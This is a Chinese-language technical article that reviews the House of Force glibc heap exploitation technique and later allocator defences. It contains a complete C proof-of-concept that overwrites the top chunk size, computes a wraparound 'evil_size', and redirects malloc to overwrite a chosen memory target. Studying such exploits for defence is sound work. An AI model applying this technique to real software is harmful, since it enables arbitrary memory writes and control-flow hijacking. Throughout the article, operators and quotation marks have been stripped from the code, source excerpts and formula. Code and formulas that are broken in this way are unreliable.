免费获取学习方案
ARTICLE DETAIL

资讯详情

深耕编程基础知识与建站技术分享的一线实战洞察。

House of Force 经典堆利用技术复盘与现代分配器防御演进

House of Force 经典堆利用技术复盘与现代分配器防御演进 House of Force 经典堆利用技术复盘与现代分配器防御演进堆利用史上的暴力美学House of Force在二进制漏洞利用与堆安全攻防的演进史中“House of” 系列技术代表了对 glibc 堆内存管理内部机制的极致探索。其中House of Force以其原理简洁、攻击路径直接且不受任何链表完整性校验Safe Unlinking阻碍的特点成为早期堆溢出攻击中最具代表性的经典手法。虽然随着 glibc 版本的迭代与现代安全加固机制的引入House of Force 在现代 Linux 发行版中已被彻底防御但深入复盘其利用整型回绕Integer Wraparound操纵堆指针的底层算术机理并追踪分配器防御体系的演进过程对于理解现代内存安全与防御工程具有极高的参考价值。House of Force 的底层利用机理[原始堆布局] ┌───────────────────────────┐ │ 用户堆块 (User Chunk) │ ├───────────────────────────┤ │ Top Chunk (正常 size) │ └───────────────────────────┘ │ ▼ 1. 堆溢出覆写 Top Chunk Size 为 0xFFFFFFFFFFFFFFFF ┌───────────────────────────┐ │ 用户堆块 (溢出破坏) │ ├───────────────────────────┤ │ Top Chunk (size -1) │ ──┐ └───────────────────────────┘ │ │ 2. 申请超大内存 malloc(evil_size) │ 利用整型回绕计算new_top old_top evil_size ▼ ┌───────────────────────────────────────────────────────────┐ │ 任意目标内存区域 (如 __malloc_hook / 全局函数指针表) │ ── new_top 成功被劫持于此 ├───────────────────────────────────────────────────────────┤ │ 3. 再次 malloc() 直接分配到目标地址覆写为 system 地址 │ └───────────────────────────────────────────────────────────┘1. 核心脆弱点Top Chunk 的无条件信任在 glibc 2.28 及更早版本的_int_malloc实现中当所有的 Fastbins、Small Bins 和 Unsorted Bin 都无法满足当前申请的大小时分配器会直接从Top Chunk堆顶未初始化的连续内存池进行切割// glibc 历史源码逻辑简化 victim av-top; size chunksize(victim); if ((unsigned long)(size) (unsigned long)(nb MINSIZE)) { remainder_size size - nb; remainder chunk_at_offset(victim, nb); av-top remainder; set_head(victim, nb | PREV_INUSE | (av ! main_arena ? NON_MAIN_ARENA : 0)); return chunk2mem(victim); }关键缺陷在于早期的分配器从未校验size是否超出系统分配给主分配区的实际物理内存上限system_mem并且直接信任了保存在堆内存中的 Top Chunk 头部大小。2. 算术回绕劫持 Top 指针若攻击者能够通过前一个 Chunk 发生堆溢出将 Top Chunk 的size字段覆写为最大无符号整数64 位下为(size_t)-1即0xFFFFFFFFFFFFFFFF那么任何大小的malloc申请都会被判定为“Top Chunk 空间充足”。攻击者为了将av-top指针强行移动到目标地址target_addr例如__malloc_hook前方$$\text{evil_size} \text{target_addr} - \text{old_top_addr} - 4 \times \text{sizeof(size_t)}$$在 64 位算术运算中由于目标地址通常位于 libc 数据段地址低于堆基址或高于堆基址通过整型加法回绕Integer Wraparoundav-top evil_size会精准溢出回绕到target_addr所在位置。经典利用原型 C 语言实现与算术演示以下 C 语言代码演示了在未开启防御的历史编译环境下House of Force 是如何通过两步malloc劫持任意全局变量的为保证安全分析的可读性代码内嵌了详细的地址算术打印#include stdio.h #include stdlib.h #include stdint.h #include string.h // 模拟目标攻击靶标任意可写内存变量 static char target_controlled_memory[64] ORIGINAL_SAFE_STRING; int main() { printf([] House of Force 经典堆利用技术算术演练\n); printf([*] 目标受控内存地址: %p (当前值: %s)\n\n, target_controlled_memory, target_controlled_memory); // 1. 申请第一个堆块获取初始堆布局 size_t *p1 (size_t *)malloc(0x100); // Top Chunk 位于 p1 内存块紧随其后位置 // 在 64 位系统下malloc(0x100) 实际分配 Chunk 大小为 0x110 (带头部 16 字节) size_t *top_chunk_size_ptr p1 (0x110 / sizeof(size_t)) 1; void *old_top_ptr (void *)(top_chunk_size_ptr - 1); printf([*] 原始 Top Chunk 指针: %p, 原始 Size: 0x%zx\n, old_top_ptr, *top_chunk_size_ptr); // 2. 模拟堆溢出将 Top Chunk 的 Size 覆写为 0xFFFFFFFFFFFFFFFF (-1) printf([] [EXPLOIT] 覆写 Top Chunk Size - 0xFFFFFFFFFFFFFFFF\n); *top_chunk_size_ptr (size_t)-1; // 3. 计算跳转至目标地址所需的 evil_size // 注意需扣除 Chunk 头部开销与对齐 (2 * sizeof(size_t)) size_t target_dest (size_t)target_controlled_memory - (sizeof(size_t) * 2); size_t current_top (size_t)top_chunk_size_ptr sizeof(size_t); // 当前 top 数据区起始 size_t evil_size target_dest - current_top - (sizeof(size_t) * 2); printf([*] 计算出的 evil_size (整型回绕偏移): 0x%zx (%zd)\n, evil_size, (intptr_t)evil_size); // 4. 发起第一次恶意申请将 Top Chunk 指针推移至目标地址 printf([] 发起 malloc(evil_size) 切割 Top Chunk...\n); malloc(evil_size); // 5. 第二次申请直接从被劫持的目标地址分配内存 printf([] 发起第二次 malloc(0x20)获取目标受控内存...\n); char *hijacked_ptr (char *)malloc(0x20); printf([] 成功获取指针: %p (预期目标: %p)\n, hijacked_ptr, target_controlled_memory); // 6. 覆写目标内存完成任意写利用 strcpy(hijacked_ptr, PWNED_BY_HOUSE_OF_FORCE); printf([*] 验证目标内存当前值: %s\n, target_controlled_memory); return 0; }现代分配器的防御演进面对 House of Force 及其衍生攻击现代内存管理架构从多个层面构筑了铜墙铁壁1. Top Chunk Size 合法性校验 (glibc 2.29)在 glibc 2.29 中GNU 维护者在_int_malloc中正式引入了对 Top Chunk 大小的完整性断言if (__glibc_unlikely (size av-system_mem)) malloc_printerr (malloc(): corrupted top size);当分配器发现 Top Chunk 的大小超过了当前分配区向操作系统申请的实际物理内存总额av-system_mem时立即触发异常并中止进程Abort从根本上终结了覆写size -1的利用路径。2. 全局 Hook 指针的彻底废弃 (glibc 2.34)在早期的堆利用中攻击者的终极目标通常是覆写__malloc_hook、__free_hook或__realloc_hook等函数指针。glibc 2.34 正式移除了这些全局 Hooks消除了最直接的控制流劫持跳板。3. 加固型内存分配器Hardened Allocators的兴起在 AndroidScudo 分配器与高安全环境Hardened Malloc中元数据分离Out-of-Line MetadataChunk 头部的大小与状态信息不再内联保存在用户数据缓冲区的前后而是存储在独立的只读或随机化隔离内存页中堆溢出无法触及元数据。保护页Guard Pages与随机隔离区Quarantine在堆块之间随机插入不可读写的内存页任何越界读写立即触发硬件 MMU 异常。
返回列表